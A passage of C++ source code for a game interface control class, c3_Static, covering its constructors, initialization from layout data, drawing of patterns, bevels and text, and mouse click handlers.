aui_ImageBase (ldlBlock),
aui_TextBase (ldlBlock, (MBCHAR *) NULL),
aui_Static (retval, id, ldlBlock),
PatternBase (ldlBlock, NULL)
{
if (AUI_SUCCESS(*retval))
{
*retval = InitCommonLdl(ldlBlock);
}
}
c3_Static::c3_Static
(
AUI_ERRCODE * retval,
uint32 id,
sint32 x,
sint32 y,
sint32 width,
sint32 height,
MBCHAR * pattern,
MBCHAR * text,
uint32 maxLength,
uint32 bevelWidth,
uint32 bevelType
)
:
aui_ImageBase ((sint32) 0),
aui_TextBase (text, maxLength),
aui_Static (retval, id, x, y, width, height, text, maxLength),
PatternBase (pattern)
{
if (AUI_SUCCESS(*retval))
{
*retval = InitCommon(bevelWidth, bevelType);
}
}
AUI_ERRCODE c3_Static::InitCommonLdl( MBCHAR *ldlBlock )
{
ldl_datablock * block = aui_Ldl::FindDataBlock(ldlBlock);
Assert( block != NULL );
if ( !block ) return AUI_ERRCODE_LDLFINDDATABLOCKFAILED;
if (block->GetAttributeType( k_C3_STATIC_LDL_BEVELWIDTH ) == ATTRIBUTE_TYPE_INT) {
m_bevelWidth = block->GetInt( k_C3_STATIC_LDL_BEVELWIDTH );
} else {
m_bevelWidth = 0;
}
if (block->GetAttributeType( k_C3_STATIC_LDL_BEVELTYPE ) == ATTRIBUTE_TYPE_INT) {
m_bevelType = block->GetInt( k_C3_STATIC_LDL_BEVELTYPE );
} else {
m_bevelType = 0;
}
return AUI_ERRCODE_OK;
}
AUI_ERRCODE c3_Static::InitCommon(uint32 bevelWidth, uint32 bevelType )
{
m_bevelWidth = bevelWidth;
m_bevelType = bevelType;
return AUI_ERRCODE_OK;
}
AUI_ERRCODE c3_Static::DrawThis(
aui_Surface *surface,
sint32 x,
sint32 y )
{
if ( IsHidden() ) return AUI_ERRCODE_OK;
if ( !surface ) surface = m_window->TheSurface();
RECT rect = { 0, 0, m_width, m_height };
OffsetRect( &rect, m_x + x, m_y + y );
ToWindow( &rect );
if ( m_pattern ) {
if ( m_srcWidthPix || m_srcHeightPix ) {
RECT srcRect = { m_srcX, m_srcY, m_srcX + m_srcWidthPix, m_srcY + m_srcHeightPix };
m_pattern->Draw( surface, &rect, &srcRect );
}
else {
m_pattern->Draw( surface, &rect );
}
}
DrawThisStateImage(
0,
surface,
&rect );
if (m_bevelWidth > 0) {
if ( m_bevelType == 2 ) {
primitives_FrameThickRect16( surface, &rect, g_colorSet->GetColor( COLOR_UI_BOX ), m_bevelWidth );
}
else {
primitives_BevelRect16( surface, &rect, m_bevelWidth, m_bevelType, 16, 16 );
}
}
DrawThisText(
surface,
&rect );
if (m_window)
if ( surface == m_window->TheSurface() )
m_window->AddDirtyRect( &rect );
return AUI_ERRCODE_OK;
}
void c3_Static::MouseLGrabInside( aui_MouseEvent *mouseData )
{
if (IsDisabled()) return;
if ( !GetWhichSeesMouse() ) SetWhichSeesMouse( this );
m_mouseCode = AUI_ERRCODE_HANDLED;
}
void c3_Static::MouseRGrabInside( aui_MouseEvent *mouseData)
{
if (!GetWhichSeesMouse())
SetWhichSeesMouse(this);
m_mouseCode = AUI_ERRCODE_HANDLED;
}
void c3_Static::MouseLDropInside( aui_MouseEvent *mouseData )
{
if (IsDisabled()) return;
if ( !GetWhichSeesMouse() ) SetWhichSeesMouse( this );
if(!HandleGameSpecificLeftClick((void *)this)) {
if(m_ActionFunc) {
m_ActionFunc(this, k_C3_STATIC_ACTION_LMOUSE, 0, m_cookie);
}
}
m_mouseCode = AUI_ERRCODE_HANDLED;
}
void c3_Static::MouseRDropInside( aui_MouseEvent *mouseData )
{
#if 0
if ( !GetWhichSeesMouse() || GetWhichSeesMouse() == this ) {
SetWhichSeesMouse( this );
}
HandleGameSpecificRightClick((void *)this);
m_mouseCode = AUI_ERRCODE_HANDLED;
#else
if ( !GetWhichSeesMouse() || GetWhichSeesMouse() == this ) {
SetWhichSeesMouse( this );
if(m_ActionFunc) {
m_ActionFunc(this, k_C3_STATIC_ACTION_RMOUSE, 0, m_cookie);
} else {
HandleGameSpecificRightClick((void *)this);
}
m_mouseCode = AUI_ERRCODE_HANDLED;
}
else {
MouseRDropOutside( mouseData );
}
#endif
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.